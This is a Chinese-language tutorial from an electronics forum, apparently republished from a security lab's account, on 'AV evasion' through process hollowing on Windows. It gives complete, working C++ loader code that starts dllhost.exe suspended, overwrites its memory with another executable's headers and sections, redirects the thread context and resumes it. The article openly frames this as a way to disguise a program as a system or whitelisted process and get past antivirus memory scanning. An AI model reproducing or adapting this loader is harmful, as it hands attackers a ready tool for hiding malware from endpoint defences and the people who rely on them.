0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

免殺技術(shù)進(jìn)程隱藏

蛇矛實(shí)驗(yàn)室 ? 來源:蛇矛實(shí)驗(yàn)室 ? 作者:蛇矛實(shí)驗(yàn)室 ? 2022-11-12 09:24 ? 次閱讀

1前言

目前的免殺技術(shù),常規(guī)的進(jìn)程執(zhí)行很容易被受攻擊方發(fā)現(xiàn),為了盡可能的隱藏自己,在不利用驅(qū)動或者漏洞的情況下我們有用到的技術(shù)很少,這次我們就來講一種可以在3環(huán)達(dá)到進(jìn)程隱藏的方法,進(jìn)程鏤空(傀儡進(jìn)程)。

這種技術(shù)雖然很久之前就有了,但是和其他的免殺技術(shù)相結(jié)合會達(dá)到很不錯的效果。

這種技術(shù)的好處是可以將我們想執(zhí)行的程序偽裝成系統(tǒng)進(jìn)程或者有簽名無檢測的白名單進(jìn)程,從而繞過殺軟的內(nèi)存檢測。

2實(shí)現(xiàn)思路

如何去實(shí)現(xiàn)這個傀儡進(jìn)程,我們就要知道進(jìn)程創(chuàng)建后的步驟是在干什么,進(jìn)程創(chuàng)建后會在內(nèi)存空間進(jìn)行拉伸PE,那么這一步就是我們達(dá)到偽裝的關(guān)鍵一步。如果我們將這一步拉伸的PE修改成我們自己的PE是不是拉伸的就是我們自己的程序,從而執(zhí)行我們自己的程序。

3執(zhí)行流程

創(chuàng)建一個掛起的進(jìn)程

這里如果不是掛起狀態(tài),程序就執(zhí)行起來了,那么我們就沒有足夠的時(shí)間去替換他要執(zhí)行的PE了。

獲取線程上下文

這里獲取上下文的主要目的是作用于修改寄存器,在我們后續(xù)的操作后要去修改。

替換PE信息

將我們上面的實(shí)現(xiàn)思路里最重要的一步在掛起進(jìn)程后去執(zhí)行,這樣進(jìn)程還沒執(zhí)行完成我們可以完成替換。

修改線程上下文

修改寄存器讓執(zhí)行的內(nèi)存發(fā)生改變,修改到我們替換的PE信息。讓程序自身的去解析我們替換的PE結(jié)構(gòu)。

恢復(fù)線程

恢復(fù)線程,讓程序執(zhí)行起來,完成我們的因此。

4實(shí)操順序

寫一個自己的程序 Demo.exe

#include

intmain(void)
{

MessageBoxA(nullptr, "我是一個demo程序", "信息:", MB_OK);

return0;
}

這就是一個很簡單的程序,我們來編譯執(zhí)行一下。

2631566a-61bf-11ed-8abf-dac502259ad0.png

可以明顯的看到這里有我們執(zhí)行的程序進(jìn)程信息,這樣我們就很容易被發(fā)現(xiàn)。那么下面我就就要去看怎么去隱藏掉這個進(jìn)程了。步驟會很多我會分步驟去寫,讓大家可以跟著步驟去完成這一效果。

加載器實(shí)現(xiàn)流程

創(chuàng)建進(jìn)程

創(chuàng)建一個系統(tǒng)進(jìn)程或者白名單進(jìn)程再或者你想要讓你的進(jìn)程偽裝的進(jìn)程,這里我們以32位進(jìn)程去演示,我們?nèi):WindowsSysWOW64這個目錄下隨便去找一個進(jìn)程即可,這里我就選擇dllhost.exe

這里我們在創(chuàng)建個項(xiàng)目去寫另外的代碼,demo程序就不要去改動了。

2676f602-61bf-11ed-8abf-dac502259ad0.png

load 右鍵屬性 -> 配置屬性 -> 鏈接器 -> 系統(tǒng) -> 子系統(tǒng) 改為窗口 不然后面會報(bào)0xC0000142錯誤 (這里可以寫完所有的代碼再去操作 窗口程序不利于我們?nèi)ポ敵鲂畔?

#include
#include

//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
intmain(void)
{
// 獲取 32位dllhost.exe路徑
charpickerHostPath[MAX_PATH] = { 0};
ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH);

// 打開進(jìn)程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0};
if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創(chuàng)建
{
return-1;
}

std::cout<< "process pid:"?<< pi.dwProcessId << std::endl;
??std::cin.get();
??
??// 結(jié)束進(jìn)程(調(diào)試的時(shí)候方便一下 可以不寫)
??TerminateProcess(pi.hProcess, -1);
??std::cout?<< "process exit!!!!!!!"?<< std::endl;
??std::cin.get();
??return?0;
}

2691dbb6-61bf-11ed-8abf-dac502259ad0.png

這里我們就已經(jīng)以掛起的方式去創(chuàng)建了一個進(jìn)程,怎么樣去看我們的進(jìn)程是否為掛起呢?我們?nèi)蝿?wù)管理器可以看到。

26ab8f34-61bf-11ed-8abf-dac502259ad0.png

讀取我們需要真正執(zhí)行的exe

#include
#include

#defineEXE_PATH R"(C:UsersadminDesktopcode傀儡進(jìn)程Debugdemo.exe)"

//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
intmain(void)
{
// 獲取 32位dllhost.exe路徑
charpickerHostPath[MAX_PATH] = { 0};
ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH);

// 打開進(jìn)程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0};
if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創(chuàng)建
{
return-1;
}

std::cout<< "process pid:"?<< pi.dwProcessId << std::endl;
??std::cin.get();

??// 打開文件
??HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
??if?(hFile == INVALID_HANDLE_VALUE)
??{
????// 打開失敗結(jié)束之前的進(jìn)程
????TerminateProcess(pi.hProcess, 1);
????return?-1;
??}

??// 獲取文件的大小
??DWORD nSizeOfFile = GetFileSize(hFile, NULL);
??std::cout?<< "file size:"?<< nSizeOfFile << std::endl;

??// 申請內(nèi)存保存Exe字節(jié)碼
??char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

??// 把文件讀取到我們申請的緩存區(qū)
??DWORD read;
??if?(!ReadFile(hFile, image, nSizeOfFile, &read, NULL))
??{
????TerminateProcess(pi.hProcess, 1);
????return?-1;
??}

??// 關(guān)閉文件
??CloseHandle(hFile);


??
??// 結(jié)束進(jìn)程(調(diào)試的時(shí)候方便一下 可以不寫)
??TerminateProcess(pi.hProcess, -1);
??std::cout?<< "process exit!!!!!!!"?<< std::endl;
??std::cin.get();
??return?0;
}

26f836d6-61bf-11ed-8abf-dac502259ad0.png

可以看出來我們需要執(zhí)行的exe已經(jīng)被我們加載到我們內(nèi)存當(dāng)中。

替換PE

#include
#include
#include

#defineEXE_PATH R"(C:UsersadminDesktopcode傀儡進(jìn)程Debugdemo.exe)"

//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
intmain(void)
{
// 獲取 32位dllhost.exe路徑
charpickerHostPath[MAX_PATH] = { 0};
ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH);

// 打開進(jìn)程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0};
if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創(chuàng)建
{
return-1;
}

std::cout<< "process pid:"?<< pi.dwProcessId << std::endl;
??std::cin.get();

??// 打開文件
??HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
??if?(hFile == INVALID_HANDLE_VALUE)
??{
????// 打開失敗結(jié)束之前的進(jìn)程
????TerminateProcess(pi.hProcess, 1);
????return?-1;
??}

??// 獲取文件的大小
??DWORD nSizeOfFile = GetFileSize(hFile, NULL);
??std::cout?<< "file size:"?<< nSizeOfFile << std::endl;

??// 申請內(nèi)存保存Exe字節(jié)碼
??char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

??// 把文件讀取到我們申請的緩存區(qū)
??DWORD read;
??if?(!ReadFile(hFile, image, nSizeOfFile, &read, NULL))
??{
????TerminateProcess(pi.hProcess, 1);
????return?-1;
??}

??// 關(guān)閉文件
??CloseHandle(hFile);

??// 解析PE
??// 獲取dos頭
??PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image;
??if?(dos->e_magic != IMAGE_DOS_SIGNATURE) // 判斷是否為MZ
{
TerminateProcess(pi.hProcess, 1);
return1;
}

// 獲取nt頭
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image + dos->e_lfanew);

// 獲取線程上下文
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);

// 獲取模塊基質(zhì)
ULONG_PTR base;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &base, sizeof(ULONG_PTR), NULL);

// 在默認(rèn)基質(zhì)下申請內(nèi)存并且 設(shè)置屬性為讀寫執(zhí)行
LPVOID mem = VirtualAllocEx(pi.hProcess, (PVOID)(nt->OptionalHeader.ImageBase), nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(!mem)
{
TerminateProcess(pi.hProcess, 1);
return1;
}

// 替換PE頭
WriteProcessMemory(pi.hProcess, mem, image, nt->OptionalHeader.SizeOfHeaders, NULL);

for(inti = 0; i < nt->FileHeader.NumberOfSections; i++)
{
// 獲取節(jié)表 寫入節(jié)表
PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((LPBYTE)image + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)mem + sec->VirtualAddress), (PVOID)((LPBYTE)image + sec->PointerToRawData), sec->SizeOfRawData, NULL);
}

// 結(jié)束進(jìn)程(調(diào)試的時(shí)候方便一下 可以不寫)
TerminateProcess(pi.hProcess, -1);
std::cout<< "process exit!!!!!!!"?<< std::endl;
??std::cin.get();
??return?0;
}

2721ebde-61bf-11ed-8abf-dac502259ad0.png

GetThreadContext是什么意思呢?獲取線程上下文,我們這時(shí)候用調(diào)試器附加一下dllhost看下我們獲取的是什么東西。主要獲取的就是目前的寄存器的值。后續(xù)我們需要讀寫這個值,從而達(dá)到執(zhí)行我們自己的PE信息。

2756be7c-61bf-11ed-8abf-dac502259ad0.png

278b9b24-61bf-11ed-8abf-dac502259ad0.png

開始替換PE頭 我們可以注意一下寫入了什么。

27af76de-61bf-11ed-8abf-dac502259ad0.png

28026df8-61bf-11ed-8abf-dac502259ad0.png

這里是替換節(jié)區(qū)。

28263ee0-61bf-11ed-8abf-dac502259ad0.png

2840ac9e-61bf-11ed-8abf-dac502259ad0.png

走到這里就說明我們的PE已經(jīng)被完全替換了,那么我們需要給他替換一下寄存器才能讓他執(zhí)行起來。

設(shè)置線程上下文,恢復(fù)線程

2858eec6-61bf-11ed-8abf-dac502259ad0.png

ebx+8的位置本身存放的是原來默認(rèn)的PE,我們這里給他替換成我們申請內(nèi)存的PE,然后恢復(fù)線程基本就完成了我們的隱藏。

#include
#include
#include

#defineEXE_PATH R"(C:UsersadminDesktopcode傀儡進(jìn)程Debugdemo.exe)"

//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
intmain(void)
{
// 獲取 32位dllhost.exe路徑
charpickerHostPath[MAX_PATH] = { 0};
ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH);

// 打開進(jìn)程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0};
if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創(chuàng)建
{
return-1;
}

std::cout<< "process pid:"?<< pi.dwProcessId << std::endl;
??std::cin.get();

??// 打開文件
??HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
??if?(hFile == INVALID_HANDLE_VALUE)
??{
????// 打開失敗結(jié)束之前的進(jìn)程
????TerminateProcess(pi.hProcess, 1);
????return?-1;
??}

??// 獲取文件的大小
??DWORD nSizeOfFile = GetFileSize(hFile, NULL);
??std::cout?<< "file size:"?<< nSizeOfFile << std::endl;

??// 申請內(nèi)存保存Exe字節(jié)碼
??char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

??// 把文件讀取到我們申請的緩存區(qū)
??DWORD read;
??if?(!ReadFile(hFile, image, nSizeOfFile, &read, NULL))
??{
????TerminateProcess(pi.hProcess, 1);
????return?-1;
??}

??// 關(guān)閉文件
??CloseHandle(hFile);

??// 解析PE
??// 獲取dos頭
??PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image;
??if?(dos->e_magic != IMAGE_DOS_SIGNATURE) // 判斷是否為MZ
{
TerminateProcess(pi.hProcess, 1);
return1;
}

// 獲取nt頭
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image + dos->e_lfanew);

// 獲取線程上下文
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);

// 獲取模塊基質(zhì)
ULONG_PTR base;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &base, sizeof(ULONG_PTR), NULL);

// 在默認(rèn)基質(zhì)下申請內(nèi)存并且 設(shè)置屬性為讀寫執(zhí)行
LPVOID mem = VirtualAllocEx(pi.hProcess, (PVOID)(nt->OptionalHeader.ImageBase), nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(!mem)
{
TerminateProcess(pi.hProcess, 1);
return1;
}

// 替換PE頭
WriteProcessMemory(pi.hProcess, mem, image, nt->OptionalHeader.SizeOfHeaders, NULL);

for(inti = 0; i < nt->FileHeader.NumberOfSections; i++)
{
// 獲取節(jié)表 寫入節(jié)表
PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((LPBYTE)image + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)mem + sec->VirtualAddress), (PVOID)((LPBYTE)image + sec->PointerToRawData), sec->SizeOfRawData, NULL);
}

// 修改寄存器
ctx.Eax = (SIZE_T)((LPBYTE)mem + nt->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &nt->OptionalHeader.ImageBase, sizeof(PVOID), NULL);

SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
WaitForSingleObject(pi.hProcess, -1);

std::cout<< "進(jìn)程隱藏執(zhí)行完成"?<< std::endl;
??
??// 結(jié)束進(jìn)程(調(diào)試的時(shí)候方便一下 可以不寫)
??// TerminateProcess(pi.hProcess, -1);
??// std::cout << "process exit!!!!!!!" << std::endl;
??// std::cin.get();
??return?0;
}

修復(fù)執(zhí)行錯誤

2890fa46-61bf-11ed-8abf-dac502259ad0.png

這里我們可以看到提示了錯誤框,我們修改下子系統(tǒng)。

intCALLBACKWinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
intnCmdShow
)
子系統(tǒng)改為窗口后 main函數(shù)需要改成WinMain

28ae66bc-61bf-11ed-8abf-dac502259ad0.png

完畢

28ee8cba-61bf-11ed-8abf-dac502259ad0.png

可以看到我們進(jìn)程運(yùn)行起來了,那么我們看看這個進(jìn)程是什么。

291063ee-61bf-11ed-8abf-dac502259ad0.png

從線程里面可以看出,我們是從這個dllhost里面去執(zhí)行的我們的程序,那么我們看下是不是找不到我們原來的進(jìn)程了。

29630266-61bf-11ed-8abf-dac502259ad0.png

可以看到這里已經(jīng)確定沒有demo.exe,至此我們的隱藏進(jìn)程實(shí)現(xiàn)完成。

5總結(jié)

隱藏的時(shí)候需要提前找到一個載體。

我們目前通過的是讀取文件獲取我們demo的exe,可以提前獲取好,放到我們的內(nèi)存中,這樣更隱蔽。

需要注意main函數(shù)和winmain,main函數(shù)會報(bào)錯

審核編輯:湯梓紅
聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報(bào)投訴
  • 內(nèi)存
    +關(guān)注

    關(guān)注

    8

    文章

    2942

    瀏覽量

    73728
  • 程序
    +關(guān)注

    關(guān)注

    115

    文章

    3743

    瀏覽量

    80661

原文標(biāo)題:免殺技術(shù)進(jìn)程隱藏

文章出處:【微信號:蛇矛實(shí)驗(yàn)室,微信公眾號:蛇矛實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏

    評論

    相關(guān)推薦

    進(jìn)程執(zhí)法官

    ,包括系統(tǒng)核心進(jìn)程、殺毒不需要進(jìn)入安全模式。 2、可以查看普通進(jìn)程(與任務(wù)管理器類似)、網(wǎng)絡(luò)進(jìn)程(TCP-UDP端口關(guān)聯(lián)進(jìn)程)、隱藏進(jìn)程
    發(fā)表于 09-04 23:12

    ekrn.exe進(jìn)程是什么意思,如何解決ekrn.exe進(jìn)程占空間的問題

    %原因分析1、ekrn.exe占用cpu100%問題屬于該殺毒 軟件在查殺系統(tǒng)進(jìn)程時(shí)的正?,F(xiàn)象,因?yàn)閟vchost.exe不斷重啟運(yùn)行導(dǎo)致,這個是win系統(tǒng)bug,與軟件無關(guān),所以不用更改軟任何設(shè)置
    發(fā)表于 12-22 16:42

    迅雷7.2.7.3496下載(迅雷7增強(qiáng)版VIP離線等待V2) v7.2.7.3496綠...

    會員補(bǔ)丁(可去廣告、隱藏右側(cè)欄、點(diǎn)亮VIP6、離線等待) │ ├—√迅雷離線下載組件(迅雷等級16級及其以上等級有1.5G離線空間) │ ├—除去主界面上的迅雷VIP按鈕 (主界面上紅色的迅雷VIP
    發(fā)表于 04-24 17:45

    小七論壇vip 2013源碼培訓(xùn)課程

    小七論壇vip 2013源碼培訓(xùn)課程目錄(今日key發(fā)布)小七
    發(fā)表于 10-05 17:35

    聯(lián)通流量軟件有哪些?聯(lián)通流量軟件?

    聯(lián)通手機(jī)流量上網(wǎng)軟件有哪些?聯(lián)通2G3G4G流量軟件加我***聯(lián)通最新流量上網(wǎng)軟件,支持全國地區(qū)使用,一年穩(wěn)定技術(shù)開發(fā)并且經(jīng)過測試,安裝后上網(wǎng)百分百
    發(fā)表于 07-22 08:37

    國際聯(lián)網(wǎng)展現(xiàn)黑科技-雷霆技術(shù)攜三技術(shù)參展

    ,由雷霆技術(shù)公司帶來的不用電池、無需聯(lián)網(wǎng)、無需鑰匙的智能鎖黑科技——三智能鎖方案。在本次展會中為數(shù)不多的,創(chuàng)新型技術(shù)中,三智能鎖技術(shù)吸引
    發(fā)表于 08-07 15:07

    特洛伊木馬隱藏技術(shù)研究

    首先介紹了傳統(tǒng)的木馬隱藏方法,由于傳統(tǒng)方法主要集中于本地進(jìn)程隱藏,對木馬兩端之間通信隱藏涉及甚少,而本文所采用的基于ICMP的連接技術(shù)能夠
    發(fā)表于 06-15 08:33 ?11次下載

    木馬/后門程序在WINNT中進(jìn)程隱藏和查找的方法

      在WIN9X中,只需要將進(jìn)程注冊為系統(tǒng)服務(wù)就能夠從進(jìn)程查看器中隱形,可是這一切在WINNT中卻完全不同,無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能欺騙WINN
    發(fā)表于 09-01 11:51 ?1091次閱讀

    基于硬件輔助虛擬化技術(shù)的交叉視圖進(jìn)程檢測

    分析了進(jìn)程隱藏技術(shù)和檢測技術(shù),對Strider Ghost Buster所使用的交叉視圖進(jìn)程檢測技術(shù)
    發(fā)表于 02-13 16:17 ?32次下載
    基于硬件輔助虛擬化<b class='flag-5'>技術(shù)</b>的交叉視圖<b class='flag-5'>進(jìn)程</b>檢測

    軟WAF上傳繞過+wbehshell

    軟WAF上傳繞過+wbehshell
    發(fā)表于 09-07 10:35 ?4次下載
    軟WAF上傳繞過+wbehshell<b class='flag-5'>免</b><b class='flag-5'>殺</b>

    密文域可逆信息隱藏技術(shù)發(fā)展

    可逆信息隱藏是信息隱藏技術(shù)的新興研究方向,密文域可逆信息隱藏作為加密域信號處理技術(shù)與信息隱藏
    發(fā)表于 12-09 10:28 ?0次下載
    密文域可逆信息<b class='flag-5'>隱藏</b><b class='flag-5'>技術(shù)</b>發(fā)展

    如何安裝 unhide 并搜索隱藏進(jìn)程和 TCP/UDP 端口

    unhide 是一個小巧的網(wǎng)絡(luò)取證工具,能夠發(fā)現(xiàn)那些借助 rootkit、LKM 及其它技術(shù)隱藏進(jìn)程和 TCP/UDP 端口。這個工具在 Linux、UNIX 類、MS-Windows 等操作系統(tǒng)下都可以工作。
    的頭像 發(fā)表于 01-31 09:57 ?2.7w次閱讀

    一行代碼教你如何隱藏Linux進(jìn)程

    總有朋友問隱藏Linux進(jìn)程的方法,我說你想隱藏到什么程度,是大隱于內(nèi)核,還是小隱于用戶。網(wǎng)上通篇論述的無外乎 hook 掉 procfs 或者類似的用戶態(tài)方案,也都難免長篇大論,我說,這些場面都太大了,太復(fù)雜了。對于希望馬上看
    的頭像 發(fā)表于 09-15 15:16 ?2183次閱讀
    一行代碼教你如何<b class='flag-5'>隱藏</b>Linux<b class='flag-5'>進(jìn)程</b>

    技術(shù)技術(shù)的區(qū)別

    ,又叫殺毒技術(shù),是反病毒,反間諜的對立面,是一種能使病毒或木馬免于被殺毒軟件查殺的軟件。
    的頭像 發(fā)表于 07-08 10:49 ?1394次閱讀

    什么是白加黑技術(shù) 技術(shù)之白加黑攻擊防御技術(shù)分析

    在很多的軟中會對白文件的操作進(jìn)行放行,如果我們將黑程序和白程序在一個進(jìn)程中是否就可以繞過一些軟的檢測。
    發(fā)表于 07-24 10:37 ?1421次閱讀
    什么是白加黑<b class='flag-5'>技術(shù)</b> <b class='flag-5'>免</b><b class='flag-5'>殺</b><b class='flag-5'>技術(shù)</b>之白加黑攻擊防御<b class='flag-5'>技術(shù)</b>分析